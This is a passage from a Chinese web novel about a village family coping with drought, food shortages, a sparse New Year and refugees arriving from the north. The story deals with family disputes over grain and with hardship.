今天许家人来，他把人赶走了，明天再来，他再赶，他不能天天赶。 许翠花自己立不起来，谁也帮不了她。 “孩他爹？”毛蛋娘抱有侥幸心理，还在祈求，见丈夫不想理自己，有些怨恨自己丈夫心狠。 “我还是那句话，敢拿家里粮，你也收拾包袱滚蛋！”不是毛蛋爹狠心。 他们家的粮自己都不够吃。 他儿毛蛋天天只能吃个五分饱，他吃饱了撑的拿自家粮去喂别人家的孩子？ 那粮都是他一担水一担水挑到地里保活的，肩膀上的老茧破了又破，厚厚的血痂撕下来时感觉肩上轻了一大截。 家里的粮多么来之不易，他媳妇不是不知道，就这样，还想拿粮给不成器的娘家人。 他不想再忍了。 毛蛋看爹娘吵架，缩在角落里，泪眼汪汪，不敢说话。 钟新澄还以为他是被打哭的，鼓起勇气跑过来给他扯出去了，钟家岗同龄的孩子，和年纪比他小的，都被他视作自己的小弟。 当老大的，要带着小弟一块玩。 小弟有难，老大也要出手帮助。 钟莹莹跟着俩孩子一块出去了，她现在也是个孩子，大人们之间的矛盾，她解决不了，左右是为了粮食，最后双方态度肯定会达成一致。 现在的争吵也不过是为了让自己的心里更好受一些。 毛蛋爹被气走了，陈显英过来劝毛蛋娘：“翠花啊，你不顾着毛蛋爹，也要顾着毛蛋啊！” “你把粮给娘家了，毛蛋吃什么，喝什么？总不能教他挨饿吧！” 毛蛋娘辩驳道：“我又没有想全拿走，我只是想拿走一部分……” “那你确定你那娘家是真的没粮下锅了吗？”陈显英反问道。 “我……”毛蛋娘说不出话来。 陈显英见她有所松动，继续乘胜追击：“咱们村都开始自己磨菜粉吃了？他们吃了吗？” 菜粉就是之前他们吃的，红薯藤，南瓜藤……乱七八糟的植株，晒干了磨成的粉粉。 容易保存。 本来土豆的茎叶，村里人也想着留着吃，知青说有毒，吃不得，有不信邪的去尝了尝，当天就上吐下泻，这才把土豆茎叶开除粉籍。 “可……可那是我爹娘啊～”毛蛋娘不是不知道，她爹娘就是想占便宜。 长久以来的压制和训斥，让她养成了顺从他们的习惯。 “唉～要你那对没良心的爹娘，还是要你的丈夫孩子，你自己选吧！”言尽于此，她想不通，旁人再劝也不行。 毛蛋娘无法割舍对爹娘的感情，也无法放下孩子，只得羡慕的看着陈显英：“我有时候真有点嫉妒你，只需要照顾好自己的家庭，旁的什么也不用想。” 爹娘都没了，就她一个人，丈夫孩子都很让人省心，孙子孙女都抱上了，虽然孙子有点调皮，但也很孝顺。 在村里就没有女人不羡慕陈显英的。 “嫉妒啥，你要是想开了，和我一样的！”村里人不知道，以为自己爹娘都没了，陈显英自己还不知道吗？她爹八成在某个岛上活得好好的。 要是像许翠花，整日东想西想的，她比许翠花还要愁的厉害。 人啊，要活在当下，她爹回不来，没准等他埋地里了也回不来。 她就当他死了又能如何？ 真要有什么，等他回来了再说。 还有几家和毛蛋家情况一样，小小的钟家岗只有十几户人家，闹出来的幺蛾子还不少。 毛蛋娘苦笑着摇摇头：“你不懂！” 陈显英乐了，用手指指着自己的鼻子反问道：“我不懂？” “你懂的多，你看看你自己，那手肿的，头发白的比我还多吧？你比我还小十多岁呢！” “你再看看你爹你娘，还有你的好哥哥，好弟弟，哪个看起来不比你年轻？” “这就是你懂的多的好处吗？那我还真不懂！” 被翻来覆去的骂，毛蛋娘也生不起气来。 她知道，陈显英是刀子嘴豆腐心，何况她说的还是对的。 毛蛋娘伸出自己的手放在眼前仔细端详。 满手的老茧，粗涨变形的指关节，皲裂开口的指腹，黝黑的皮肤，她才三十出头，怎么就混成这样了呢！ 冬小麦钟家岗的人趁着天气还没有太冷，紧赶慢赶的给播种下地了。 种完还只是个开始，老天爷不下雨，他们依旧得人工担水往地里送。 他们需要在冬季来临之前，土壤还未冻结，给种子吸饱水分，生根发芽的机会。 冬天就没办法浇水了，一浇就上冻，小麦会被冻死的。 外村的人又来了好几次，都被插科打诨的敷衍走了。 陈显英那天的劝慰还是起了一定作用，毛蛋娘没有心软，拒绝了娘家那边的无理要求。 外村人见钟家岗人勤奋的挑水浇水种地，还有点不屑，认为他们是在做面子功夫。 干多干少最后得到的东西都一样，干嘛要这么努力？ 只有吴家村的学人精，在他们老村长的压制下，跟钟家岗步调一致，老老实实去县里领取麦种，挑水种地。 土地不会辜负辛苦劳作的人。 刚入冬，钟家岗就迎来了一场雪。 下雪好啊，雪能冻死土壤里的病虫害，能给刚发芽的小麦保温，雪化了还能滋润植物。 某种程度上，冬天的雪比春天的雨对粮食还要重要。 钟家岗辛劳一年的村民终于得到了短暂的休息。 黄有德拎着局里发的过年福利回了家，今年发的节礼和往年相比，那是格外寒酸了。 一个肉罐头，两斤救济粮，除此之外，没了。 城里的粮食一天比一天紧张，原先发的救济粮，现在改名叫做代用粮。 与之前相比，里面正经粮食的含量变得更低了。 配方和原材料换了又换，他们县主要是红薯藤和麦麸，为了增加黏性，应该还加了榆树皮。 真正的正经粮食成分估计不超过十分之一。 吃着是不饿了，但一个个都吃的头小肚子大。 全是纤维没有油水，好多人拉不出来屎，得用手去扣。 就这样，这粮还供不应求，每次放粮的时候，拿粮票过去买得提前排队，不然大概率是买不到的。 钟家人围坐在一桌吃饭，桌上除了南瓜就是咸菜。 没有煎炸，只有蒸煮，现在柴火也很宝贵，一顿直接做好一两天的饭，然后分好，等到吃的时候，直接简单加热一下，能够节约很多柴火。 味道嘛就不提了，能填饱肚子就不错了。 仨孩子碗里额外放了点蛋羹，一碗蛋羹三个孩子分，再不是原先一人一个鸡蛋的时候了。 今年这一年是钟家孩子出生以来，过得最为艰苦的一年。 钟莹莹知道，这只是个开始。 饭桌上陈显英突然开口：“小茹好久没有寄信来了！”她有些担忧，害怕宋家是不是遇到了什么难事。 以往临近过年，宋茹都是一个又一个的包裹寄过来，今年别说包裹了，连封信也没有。 陈显英不是贪图宋家的东西，而是真心实意为他们担心。 当时她去做手术，宋家人那么照顾她，现在城里粮食关系这么紧张，虽然宋家是三职工家庭，但想搞粮食，到底不如他们村里来的方便。 钟伟先宽慰道：“兴许是过年没时间，忙忘了呢！” 他略一思索，随即又道：“家里不是晒了红薯干吗？收拾一点寄过去，以前这些不是啥好东西，现在宝贝着呢！” 宋家人给他们寄东西的时候，那好东西就像不要钱一样。 现在双方关系倒置，他们也有了投桃报李的机会。 就是家里的粮食也不是很充裕，只能挪出来一小部分寄给他们。 好在宋家人少，寄一点，也够他们吃一段时间了。 在缺衣少食的年代，钟家人竟然没有一个人反对这个提议。 就连一向小气护食的钟新澄都很赞同，吃人嘴短，拿人手软，他的秘密基地里还藏着海市的宋家人送的铁皮小青蛙呢！ 要去邮局寄东西那天，陈显英不止装了红薯干，连带着夏天晒的土豆片子，还有少量咸鱼干，笋干，都装了不少。 一点点的累积起来，最后竟然装成了一个大包裹。 代用粮她没往里放，占地方，浪费邮费。 写好清单塞到包裹里面，每样东西都用油纸封好，最外层用旧报纸在外侧多包了几层减震，也能防止别人窥探里面的东西。 不是陈显英过分谨慎，实在是现在的粮食金贵的很。 第67章 宋茹家确实出了一些事情。 宋冬宇厂里因为交货的问题，闹出来一点乱子，差一点他就被送进去吃牢饭了。 有人举报，他不得不来来回回跑了多次公安局。 好在证据充足，最终事情圆满解决。 收到钟家的东西，宋家的事情刚刚告一段落，宋茹忙中偷闲给回了一封信。 当然，也没忘记收拾一大包东西回礼。 他们也的的确确缺粮，一家三口的供应很多，但是粮站只卖那该死的代用粮。 想吃好的，只能私下去换高价粮。 啥家庭也不能天天吃高家粮啊，有风险就不说了，钱包也遭不住。 城里不像村里，随便种点东西就能吃，他们最多在窗台上拿花盆种个小葱大蒜之类的调味料。 宋茹这次给的就不像以往一样，装一堆好吃的，这次基本上就是她厂里发的一些布料，还有一些粮票。 海市不好买粮，她想让钟家人帮忙看看，乡下好不好买粮。 天天代用粮，馆子也不让下，说是作风奢靡，被人遇见的次数多了就要被举报。 宋茹已经被这样的日子折磨太久了，她急需一点新鲜的食品来抚慰自己的饱受委屈的肠胃。 “娘，信里说没什么大事，只是遇到了一点小问题，差不多已经解决完了。” “宋茹姐还说谢谢你给寄的红薯干，很甜很好吃。” 拿到信，钟莹莹就给陈显英读了一遍。 虽然她娘自己也识字，但她很喜欢让孩子帮着做一些事情。 陈显英听完仿佛放下心中大患一样，长舒一口气道：“没事就好、没事就好。” 钟家的窗台上挂了几串柿子，柿子皮被剥去，已经晾了个半干，此时那些柿子表面上结了一层薄薄的糖霜，已经有点柿饼的雏形了。 钟新澄和丽丽盯着那些柿子已经盯很久了。 “木木，丽丽，别看了，柿饼还没晒好，还要等等才能吃。”钟莹莹感觉有些好笑。 钟新澄吸溜吸溜口水：“姑姑，我没有想吃，我就是看看” 丽丽也不好意思的换了个位置，看天看地就是不看钟莹莹。 这个时代的小孩子既幸福也不幸。幸福的是入口的全是纯天然无污染的食物，不幸的是现在的食物实在是太匮乏了。 就拿柿饼来说，后世的零食花样众多，压根没几个孩子买零食会想到这个。 她的两个大侄子却像是守着宝藏一样，天天盯着，生怕哪天没注意，柿饼让野猫或者耗子叼走了。 “绿豆糕吃不吃？”这是钟莹莹的私藏，一直在空间里没拿出来过，所以现在还和刚买的时候一模一样。 俩小孩的眼睛立马亮了起来，忙不迭点头道：“吃。” “一人一块，多了没有。”得控制好量，给他们多了，自己以后就没得吃了。 一块掌心大的糕点，俩小孩捧在手里，一点点用嘴巴往嘴里抿，像是在吃什么饕餮盛宴一般。 就算他们再爱惜，小小一块也很快久吃完了。 钟新澄不舍的舔去掌心残留的碎渣，抬眸道：“姑姑你哪里来的绿豆糕啊？” 奶奶买在家里的，都吃完好久了，他好几个月没见过这些零嘴了。 娘说家里的钱要留下来买粮，不能乱花，钟新澄虽然馋，但也不是不懂事的小孩，只能依依不舍告别了曾经的爱吃的那些东西。 钟莹莹没好气道：“问那么多干嘛？姑姑以前攒下来没吃的，有的吃就不错了！要不是你最近听话，我才不拿给你吃！”人不大，好奇心还挺重。 钟新澄瘪瘪嘴，有些不满意钟莹莹的答案，但他馋呀，紧跟着追问：“姑姑，那我要是一直乖的话，会不会还有绿豆糕吃啊？” 钟新澄等待着钟莹莹的回答，仰起的小脸满是渴望。 钟莹莹看着他这些时日略微瘦下去的脸，心中其实是有些心疼的。 但又想到他皮的时候，立马狠狠心道：“你先把作业写了再说，以前不是还说要和邓工一样，当发明家吗？作业都写不完，别过两年考不上初中，回家种田了！” 钟新澄嘴巴一撅，不高兴了。 丽丽是个贴心宝贝，安慰钟莹莹道：“姑姑，没事哒，到时候木木考不上，种田也没关系哒，种红薯可以烤红薯，插秧可以做大米饭，种田也很好。” “他考不上，还有我呢，等我长大了，我给你养老！” 村里老人最在意的就是养老问题，丽丽听得多了就记在了心里。 姑姑是长辈，等她长大了能赚钱了，一个人要养爷爷奶奶姑姑……养他们家所有人。 至于脑子不好使的弟弟，那顺便也养着吧！ 钟莹莹挑眉，没看出来啊，小丽丽有点绿茶的潜质。 不得不说，当茶的对象是自己的时候，心里还挺美。 钟新澄被她刺激到，当机立断说：“我现在就去写作业，我一定能考上初中的，你才考不上。” 丽丽怕被超过，也去书包里拿出作业做。 对于这种情况，钟莹莹乐见其成，没有比较，就没有竞争，有竞争才能有进步。 俩孩子比着学习，比比着玩闹好太多了。 丽丽本来是个很好学的孩子，之前天天跟钟新澄混在一起，都有点被带坏了，好在现在她迷途知返，很好，很好。 顺手给俩孩子解答了几个问题，钟莹莹就要去堂屋帮她爹做事情。 何家那两个又来了。 何梦婷是不情愿的，何止尧是主动过来的。 这孩子真的学疯了，在饥肠辘辘的情况下，还能一心盯着钟莹莹薅羊毛。 “莹莹，我不白学，我帮你家干活！” 何止尧知道自己的行为招人烦，看钟家水缸空了，拦也拦不住的，找到钟家的水桶就打水去了。 其实，钟家有好几口缸呢，灶房门口那个只是最常用的一个，剩下几口也是填的满满的，如果天气不好，就不用冒着风险去挑水。 何止尧不知道，他一心想着出人头地。 那水是一担担的挑，不光钟家的，老万家的水缸也被他填的满满的。 老万不太管他们兄妹，每天就给口吃的喝的，整个一个放养状态。 陈显英之前让他送俩孩子去上学，他一点没带犹豫的就同意了。 今年的冬天格外的冷，没有雨，只有雪，既冷又干燥。 钟莹莹看着何止尧藏在衣袖下面的手，肿胀处都破裂了，室内温度比室外高，他在钟家堂屋跟着钟新澄一块学。 温度上升，那个冻肿的手奇痒无比，何止尧忍不住一直挠。 她想提醒，又觉得没解决办法的提醒只是扎人心。 好在她娘的出现解决了她的困扰。 陈显英无意中注视到不忍心道：“别挠了，再挠整个手都要烂掉！” “你这个手不能再冻伤了，不然以后手指冻变形了，连字都没法写。” 一般的劝说，陈显英知道他不会上心，打蛇要打七寸。 何止尧大伯何大柱在过年前一天又来闹一次，颍河里没水，稀软的土也冻了个结实，人在上面可以随意走动。 不用出坐船的费用就能过河，他还是眼馋把何梦婷换出去能带来的好处。 何梦婷被他捂着嘴巴都拖到快出村了，何止尧拿着把踩到跟上去了。 一刀下去，直接见血。 他还想再砍，要不是有人拦着，估计何大柱当场就能被砍死。 这个孩子是个狠角色，经历了那件事，其实陈显英是有些不乐意自家孩子跟他一起玩的。 他心思重，心里藏的事多，自家孩子聪明归聪明，但没啥心眼子，万一他动啥坏心思，那可就完蛋了。 可何止尧天天又来帮自家干活，就为了能跟着俩孩子学习，也不占自家便宜，每到饭点跑的比谁都快。 陈显英又心软了，觉得这么小的孩子，能懂什么。 何止尧将手缩回袖子，试图掩盖丑陋的手指，尴尬的笑道：“莹莹娘，我没事的，我这手以前比这还严重哩！” 他说的是实话，去年冬天，他大伯让他去河边洗衣服，不洗就不给饭吃，他那个手冻的比现在难看多了，那都不是肿了，破溃处流的都是黄水。 他也没让大伯家人好受，流的黄水全抹在洗完的衣服里侧了。 不让他好过，那大家都不要好过了。 “怎么没事了？听我的，回去用干茄子秧砸碎了，抹上去包好，别沾水，一天换一次，很快就好了。” “家里有茄子秧不？算了，我给你上柴房找找去。”就老万那德行，她不指望他家里能找出这东西来。 陈显英从柴房里扒拉好半天，扒拉出一株晒干的茄子秧，又拿出蒜舀子，剪刀，把它剪碎了，放在舀子里捣碎捣烂，加了一点开水进去，搅和均匀。 “过来，我给你抹上。”说完不等何止尧拒绝，就扣出黏糊的液体，糊到了他的手上，边糊边问：“梦婷呢？你的手也冻烂了吗？” “没呢，我的手好好的！”何梦婷被何止尧保护的很好，一双小手健健康康的。 “没事就好，可千万别学你哥哥，他这个手，严重的话，手要切掉的。”陈显英在故意吓唬人。 何梦婷是个傻的，别人说啥她信啥，老实巴交的把手缩到了袖子里。 将糊糊擦好陈显英不知从哪找出一块烂布头：“你自己包上吧，记住别碰水啊。” 嘱咐完她就出门找村里人唠嗑去了。 何梦婷看着她哥给自己包扎，突然来了一句：“莹莹娘可真好，她要是我们娘就好了。” 何止尧的动作猛的一顿，接着又恢复如常。 陈显英还不知道，她随手施下的善心，竟然在两个孩子心里埋藏下一颗种子，一颗能成长为参天大树的种子。 第68章 这个新年，是钟家人过得最为清贫的一个年。 年货年货买不到，粮食粮食除了囤货就只有粮站卖的代用粮。 陈显英和钟明月东凑凑，西凑凑，还是凑齐了四菜一汤。 钟家养的鸡在天太冷不下蛋后，通通都被宰了，腌了挂起来。 如今饭桌上就有一道菜，土豆炖鸡块。 斩成大块的土豆，配上腌过的腊鸡，经过柴火的精心炖煮，汇聚出浓浓的汤汁，陈显英还在里面加了笋干，蘸饼子，配米饭，都香喷喷。 年年有余，鱼更是必不可少的一道菜。 美中不足的是今年只有咸鱼没有鲜鱼，塘水枯竭，塘里的鱼也被提前捕捞上来，为了保存，只能做成咸鱼。 咸鱼比鲜鱼滋味略逊一筹，但也有自己独特的风味。 腌渍晾晒，经时间检验，得以留存下来的咸鱼，不需要多过处理，洗干净，切小块，放上葱姜蒜，直接大火蒸熟，不需要再加其他调味料，热着吃也好吃，冷了鱼汤凝结成鱼冻。 没事的时候，偷嘴一块，味道那叫一个赞，偷吃比饭桌上吃感觉还要好吃。 前两道菜已经足够奢华，剩下两道就是凑数的，油渣大白菜，蒜苗炒鸡蛋，汤是河蚌豆腐汤。 还别说，原本一煮就容易嚼不烂的河蚌，经过腌制后，再浸泡脱盐，重新煮汤，肉质变得梗啾啾的，大人小孩都爱吃。 那个汤也鲜的很，里面放上豆腐和白菜，这些素菜吸饱了味，变得跟肉一样好吃。 “祝爷爷奶奶长命百岁！”丽丽很实诚一个头磕下去。 钟伟先笑的合不拢嘴。 一大把年纪了，图啥？不就图个儿孙满堂吗？ “丽丽，这是你的红包，拿好了！” 丽丽喜滋滋的把红包揣进兜兜里，转头给钟明月和钟绍华也磕了一个。 又收获一个大红包。 她给钟莹莹也磕了一个。 可怜的钟莹莹，刚拿到的压岁钱还没捂热乎，就分出去一点。 磕上瘾了，她见着钟新澄都想来一个。 幸亏反应的快，及时收住了。 丽丽拍拍小胸脯，暗道好险，好险，差一点就要被当成笑话了。 真给钟新澄磕一个，她能被嘲笑一年。 钟新澄路过她只觉得莫名其妙：“闪开点！” 丽丽挡住他的路了，他也要去磕头，赚压岁钱。 钟莹莹的羊毛又被第二次薅了一把。 磕头仪式结束，这年头也不好买鞭炮，不然还可以放一挂鞭，没了鞭炮总感觉过年少点氛围感。 钟家人围坐在一起正要吃饭，钟明芳就来了。 “爹，娘！”钟明芳和陈显英钟伟先打了招呼，就去拽丽丽。 “丽丽，跟娘一起去你爹那里吃完了年夜饭才回奶奶这。”钟明芳要带丽丽去黄家吃饭。 小丫头不乐意，甩开她娘牵着她的手，转过去抱陈显英的大腿：“我要在奶奶家，跟姑姑、奶奶一起吃。” 黄家只有她娘跟她一派的，她后爹后奶奶后哥哥们才是一家人。 以前在部队是没有选择，她必须跟黄家人在一起，回了钟家岗，她更愿意待在钟家。 黄家人对她好，也隔着一层，奶奶和姑姑才是对她最好的，虽然奶奶家有讨厌的钟新澄，但是，奶奶家其他人都是她喜欢的人。 她户口也在奶奶家，她也姓钟，干嘛要去别人家过年。 钟明芳有脸色有点不好看：“丽丽，快过来！不是说了吗？晚上再回奶奶家！” 黄家一大家子都等着呢，她一直待在娘家，像什么话。 丽丽不语，只是一味的躲闪，娘俩就这么僵持住了。 “孩子不想回去就不回去，大过年的，别惹人不高兴！”陈显英让钟明芳自己回去，丽丽留在钟家。 “娘～”钟明芳跺了跺脚，言语中带着些许气愤。 她这是为了谁啊！黄有德是丽丽后爹，还在城里吃公粮，关系处好了，以后丽丽长大了，也能多得些资源。 “姐，你回去吧，丽丽就留在家里吃饭，等晚上我再给你送去！”钟绍华不明白他姐为什么非得带丽丽走，钟家人过年不留在钟家，要留在哪里？ 照他说，他姐也该回家过年。 钟明芳一气之下，出去了，钟莹莹跟着她出去，遇见钟莹莹，她可算找到人吐苦水了。 “莹莹，你说，这下我反而成坏人了，我图啥啊？” 钟莹莹听完全程，只问了她姐：“姐，你说姐夫和丽丽关系处的再好，再像亲父女，会越过他自己那仨儿子去吗？” “换种说法，就像你自己，平常把姐夫家三个儿*子照顾的好好的，但是你会对他们比丽丽还好吗？” 钟明芳一愣，随即摇摇头：“不会！” 他们是她继子，她只要做好后娘的本分，管好他们吃穿就行，其他事情自有他们爹去操心。 “对，你不会，你想着给丽丽争东西，也没想着给那三个争，这就是区别！” “与其让丽丽去讨好姐夫，等长大了多分点东西，不如你这个当娘的，自己给她多攒点。” 她那个姐夫，前世就爬的挺高的。 就算啥也不给，丽丽以后能借他一分名头，也能顺风顺水的。 现在讨好啥的都没用，破家烂瓦的，有啥好争的。 “人都说宁愿要乞丐娘，也不愿要当官爹。” “只要你好好的，哪里需要丽丽去做这些事情啊？” 她姐糊涂啊，都二婚了还没搞明白这些简单的道理。 要不是黄家人的人品都不错，她这二婚又掉进另外一个坑里了。 钟明芳陷入沉思，说的好像确实有道理。 钟莹莹继续开口道：“姐夫是个好人，黄家家风也很好，你俩不离婚，就影响不到丽丽什么。” “所以，姐你明白了吗？” 钟明芳迷惑，她该明白些什么？现在的小孩都这么精的吗？她一个成年人，都二婚了，还能被妹妹给教育了？ 这难道就是上过初中的‘高材生’，和她这种早早辍学的人之间的差距吗？ 有点可怕。 钟明芳被钟莹莹给忽悠走了，直到回到黄家，坐到板凳上，她还没回过神来。 “明芳？明芳？”黄有德伸出手在她眼前晃了晃。 “怎么就你一个，不是说去叫丽丽回来吃饭吗？”咋小的没喊回来，大的这个也像丢了魂一样。 钟明芳扶额道：“丽丽在她姑姑那玩疯了，不愿意回来，我娘太惯着她了。” “还是个孩子嘛，不回来就不回来，咱们先吃饭！”黄有德的态度很宽容。 对于这个继女，他不知道咋管教，也就没管过。 就算他想管也不太敢，儿子可以随便打，闺女不是亲生的，打一下大家也都难受。 她娘管的好好的，他这个当后爹的，没必要去做那招人烦的事情。 钟明芳却突然想起她妹妹说的话，平常他三个儿子犯错的时候，他非打即骂，自己闺女犯错的时候，他基本上都是说两句，甚至说也不说，就算过去了。 到底不是亲生的。 黄大花对于儿子儿媳的事不过多参与，儿孙自有儿孙福，她老了，不给孩子们添麻烦她已经很满足了。 黄家三个娃一边吃饭，一边看黄有德脸色。 见爹和后娘都坐下来吃饭，老大试探着问：“爹，初二我们可以去给姥姥拜年吗？” 黄有德想也不想的答应：“你们想去又没人拦着你们。”不就在钟家岗吗……不对，好像不是。 他迟疑道：“哪个姥姥？”好像他前妻的爹娘也活着呢！ “黄家岗的姥姥。”三个孩子异口同声道。 黄有德偷瞄钟明芳一眼，见她没有反对的意思，才点头答应了。 大年初二走亲戚，走的是至亲。 三个孩子要回黄家岗，黄大花会跟着，钟明芳把黄有德也撵过去了。 她回娘家几步路就到了，让那一老三小冰天雪地里自己过河回老家，万一出了什么茬子，他们也不用过了。 被妹妹戳穿了这个家庭的本质后，钟明芳看黄有德就有些不自在了。 一开始再婚也是为了给自己找一个倚靠，共同生活这几年，她真把黄有德当成原配丈夫来对待了。 忽然被人提起他俩是半路搭伙的，她感觉别扭极了。 见钟明芳一个人回来，陈显英问她：“有德呢？” 过年哪有让媳妇一个人回娘家的，该不会是闹别扭了吧！ 钟明芳扭扭捏捏道：“仨孩子想去看看他们姥姥，总不能不让去吧？” “外头路那么滑，孩子他奶万一摔一跤，那可不得赖我头上，我让有德跟他们一道去了。” 陈显英有些新奇的看着钟明芳。 自打和那个蹲篱笆子的前女婿结婚后，好多年没见过她这么聪明伶俐的样子了。 “娘，你别这样子看我！”钟明芳扯扯袖子，又摸摸头发，她也没有哪里粘脏东西了啊！ 陈显英感到一丝欣慰：“你这回学聪明了呢！总算是长脑子了！” 把女婿拘过来，那老的小的，半道出事，夫妻肯定要离心。 放他走，反而他会对闺女心里有愧疚，以后会待她更好。 这是说她以前蠢吗？钟明芳感到不满：“娘～～～” “行行行，我不说你了总行吧？都当娘的人了，还冲老娘撒娇，不害臊～”陈显英嘴上嫌弃，心里还是很吃这一套的。 第69章 这次过年，钟莹莹入账四块钱，给出去六毛，自己还剩下三块四。 她暗叹不错，还有的赚，没有全部赔光光。 等开学了，找机会去供销社买东西，补充一下自己的‘粮仓。’ 一过完年，离开春就不远了。 随着气温的升高，地里的积雪融化成雪水，滋养了小麦，让小麦蹿高了好大一截。 愁人的是，还是没有雨。 春雨贵如油，不下雨，那点子雪化完了，也撑不了多久。 “哎呀！这可怎么是好？” 一年又一年，村里到处都是叹息声。 干太久了，这不是小灾啊。 老一辈就是北方逃难来的，现在他们这都这情况，北边只会更严重，要乱起来了。 天气渐暖，脱下厚重的冬装后，村子里出现七八个陌生面孔。 “大娘，我们逃难来的，给口吃的吧！”一伙人拖家带口的，老的老，小的小。 钟伟先开口道：“你们从哪来的？” 那伙人里的年纪最大的老头站出来：“从北省来的，好几天没吃饭了。” “连水都没喝上几口，没有吃的讨口水喝也行啊！” 说这话的时候，老头舔了舔干裂起皮的嘴唇。 天呐，北省！离他们这得有个几百公里啊。 钟伟先又问：“那你们是走过来的吗？走了多少天啊？北省现在的情况怎么样了？” 都发展成逃荒了，国人不是遇到万不得已的死局，是不会离开自己的家乡的。 “唉～”老头叹了一口气：“我也不知道走了多久，就知道，从天热的时候我们就出发了，然后一直向南，没有停歇过，年前下雪，找了个破房子歇脚，雪化了，暖和了，我们又继续往前走，就走到这来了。” “老家干了快两年了，一直没见着一滴雨，树都干死完了。”还是南方好啊，老头看着钟家岗挂着新绿的白杨树，满心满眼的羡慕。 钟强先来了，钟伟先示意他去查一下这些人的证件。 逃荒也是要有介绍信的，不然会被当成盲流抓起来审问。 钟强先问他们要来身份证明，仔细检查了一下，冲钟伟先摇头：“没有问题，公章也对的上，应当真是北省来的。” 黄大花给他们拎了一些井水过来，还拿了两个碗。 “喝吧，粮食没有，水我们倒是还有点，我们也穷呐，去年一整年，河都干了，就没收上啥粮食，”这话既是实话也不是。 粮产减少是真，干旱是真，家里存粮还是多少有些的。 这么说是因为防人之心，这些都是外来人，谁知道里面有没有坏人，被外人知道村里情况，无异于引狼入室。 “老乡啊，咱们村情况也不太好，如果你们想讨饭，可以去镇上看看，看看政府有没有人能救济一下，村里人都穷。” “自己都快吃不上饭了，哪里还有粮食接济其他人啊！”钟强先想把人引走。 待在哪里都不能留在村里，逃荒的人没吃的，没田地，想吃饭，只能从当地找。 小麦还是苗苗，台子下面的白杨树倒是发芽长新叶了，焯水，泡水去掉苦涩就能吃。 可那都是他们钟家岗的财产，在现在到处都缺粮的情况下，钟强先私心认为，这些东西还是留着本村人吃比较好。 自己村的东西自己村的人爱惜，要是外人，那树的树皮都能扒了吃了。 人不要脸可以，树不要皮不行。 钟家岗的白杨树都种了几十年了，有两人合抱那么粗，夏天遮阳，冬天捡拾枯枝烧火。 被外人给毁了，他于心不忍。 老头垂眸：“可我们就是从镇上来的。” 镇长让他们往村里走，说镇里没粮帮助他们。 再说了，他们一路走下来，也就钟家岗的人精神面貌看起来好点，村里人瘦归瘦，但起码都面色红润，大人小孩都健健康康的，不像他们，干巴巴的，皮包骨，像骷髅头一样。 “什么？”钟强先想骂人了，骂镇长这个老东西，真不要脸啊，什么事都干的出来。 把拾荒的人往下面的村里赶，不是存心想要闹出乱子来吗？ 饿极了的人什么事都做的出来，钟家岗只有十几户人家，老弱妇幼众多，今天这一伙人少没啥关系，等上面再往下放，人多了，那还能控制的过来吗？ “那个……我们村也没余粮，你们看……要不……”钟强先搓着手，一副不好意思的样子。 “求求你们了，就留下我们吧！我们实在是走不动路了。”有一妇人见钟强先想让他们走，立马跪下来苦苦哀求。 钟莹莹在旁边瞧着，被她的动作吓的一激灵，心道，不好。 道德绑架是吧？她立马一个滑跪过去，用魔法打败魔法，和妇人对磕：“婶子，咱们村也没粮啊，拿什么留下你们，我家弟弟都饿成傻子了。” 一个愣愣的楚天宝从人群中被扯出来，被钟莹莹推到妇人面前。 “整整一年了，一年都没粮食收，还得交公粮，你们知道这一年我们怎么过来的吗？”钟莹莹用袖子抹了一把不存在的泪。 她觉得演的不太像，一狠心，在旁人看不到的角落掐了一把大腿，顿时鼻子一酸，假泪变真泪，哭的眼泪一把，鼻涕一把的。 妇人看她表演，也懵了，她瞅瞅眼睛里没灵光，看着就像傻子的楚天宝，又瞅瞅跪在地上痛哭的小女孩，有点被吓到，这里真的像她说的那样惨吗？ 她抬眼看向为首的老头，不知道接下来该如何是好。 钟新澄是个跟屁虫，看他姑姑跪，他也跪，有模有样的学着鼻涕一把泪一把。 楚天宝唯钟新澄马首是瞻，接着像葫芦娃救爷爷一样，钟家岗的孩子齐刷刷跪了一排，像是要比谁声音更大一样，和妇人对着哭。 老头看见这场景也很无奈，心想罢了，罢了，既然人家不愿意留自己，他们这老的老，弱的弱，也打不过，还是走吧。 “忠良家媳妇，起来吧，我们走。” 老头喊地上的妇人，然后又和钟强先道谢：“谢谢你们的水，我知道你们也有难处，我们就不多留了，这就继续赶路去了。” “唉～下一站，希望能遇到收留我们的人吧！” 老头走了，带着他身后的一众人，瘦削的背影看的钟家岗众人心中也是一阵沉重。 钟强先感叹，好好的人，要不是万不得已，谁又愿意跪下求人呢？ 不过……村里的这些孩子，又是哪学来的这些招数？ “你们这都跟谁学的？” 孩子们听到质问，一个接一个把视线投入到前一个身上，最终所有人的目光都汇聚在钟莹莹身上。 “叔，今天现学的！”钟莹莹有些尴尬，她也不知道怎么就有勇气，直接冲出去了，她总不能说上辈子刷短视频学到的吧。 钟强先把她上下仔仔细细打量的一番，忽然猛的一拍大腿，赞叹道：“还是读书人聪明啊，我咋没想到这招？” 看着人家跪吧，良心上过不去，钟强先是有那一瞬间的心软的，想着要不就留下算了。 留下村里人咋办？自己都不够吃，总不能拿村里粮去养外人。 钟强先是左右为难。 正好钟莹莹冲出来给他解了围，真不愧是他的好侄女。 老楚媳妇也很羡慕，脑子转的快就是好啊，她家天宝也不知道啥时候能学成这个样子？ 钟莹莹把楚天宝拉出去当挡箭牌她并不生气，本来她儿子就是个傻子，也没说错啊。 要是能跟聪明人多玩玩，没准就变聪明了呢。 瞅钟家那个木木，原先那么不着调，现在搁学校成绩都是属于前面的。 木木能教好，天宝也能……的吧？ 钟莹莹听了老头的话，其实是有些欣喜的。 全国三年干旱，她并不清楚具体啥时候开始，啥时候结束，只记了个大概的时间，地点也是只记了个范围。 钟家岗才干了一年多，北边就已经两年了，想来南北边干旱时间并不一致，南边水多，指定要比北方干的慢一些，等下雨了，南边恢复的也比北方更快，因为气候更加适宜。 其他人她不管，只要钟家岗的人都能好好的，平平安安度过这次就行。 钟家岗这次巡逻的人数再次增加，地里的小麦对他们来说是没成熟的粮食，对外人来说就是可以直接入口的口粮。 被人薅去吃了，哭都没眼泪。 青壮年全部上阵，老幼则是采摘新冒头的春菜。 白杨树上的嫩叶，融化的雪水滋生的野菜，保留根部，茎叶折了拿回家，放到冬天吃完的咸菜坛子里，里面卤水好好的，都不用加盐，就可以直接腌制。 村子外路过的陌生面孔越来越多，听说有村子已经发生过打架斗殴事件了。 